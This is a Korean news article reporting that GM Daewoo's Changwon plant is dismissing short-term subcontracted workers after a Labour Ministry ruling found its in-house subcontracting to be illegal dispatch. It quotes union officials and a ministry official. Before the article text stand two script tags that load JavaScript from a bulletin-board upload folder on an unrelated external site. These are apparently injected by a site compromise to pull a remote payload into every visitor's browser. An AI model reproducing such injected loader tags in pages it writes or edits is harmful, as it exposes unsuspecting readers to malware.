<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 불법파견 시정 요구에 비정규직 해고?
GM대우차 창원공장, 3개월 계약직 6개월 연장 관례 뒤엎고 해고
노동부로부터 6개 사내하청업체 모두 불법파견 판정을 받은 GM대우차 창원공장이 단기계약직 사내하청노동자들을 해고, 물의를 빚고 있다.
9일 금속연맹 대우차노조 창원지부(지부장 김학철)에 따르면 “회사가 불법파견 노동자를 정규직화하라는 노조의 요구에 대해서는 일언반구도 하지 않으면서 4월말로 계약이 끝나는 비정규직 노동자들을 일방적으로 해고하고 있다”고 주장했다.
GM대우차 창원공장은 그동안 3개월 단기계약직을 고용한 후 관례적으로 6개월 재계약 연장을 해 왔으나 불법파견 판정이 난 이후 3개월 단기계약직을 계약만료를 이유로 해고하고 있다는 것. 이와 관련, 지부는 현재 고용하고 있는 사내하청노동자들의 고용보장을 회사쪽에 재차 촉구하고, 일방적인 계약해지가 계속될 경우 강력한 대응을 벌이겠다는 입장이다.
대우차노조 창원지부 관계자는 “처음 불법파견 진정을 냈을 때 비정규직 수는 843명이었으나 현재는 1,100명으로, 불법파견을 시정하기보다는 불법파견 노동자들을 확대시키고 있다”며 회사쪽을 비판했다. 이어 그는 “비정규직지회의 노조 구성이 완료되는 직후부터 지회와 함께 공동으로 불법파견 정규직화 투쟁에 들어갈 것”이라고 밝혔다.
한편 지난 7일 GM대우차 창원공장이 창원노동사무소에 제출한 시정계획서 내용에 대해 노동부 관계자는 “(현대차와 마찬가지로) ‘적법도급’ 내용이 담긴 시정계획서를 냈다”며 “아직 내용을 구체적으로 검토하지 않았지만 구체성, 타당성, 적용시기 등을 감안해 계획서의 적합성을 판단할 것”이라고 밝혔다.
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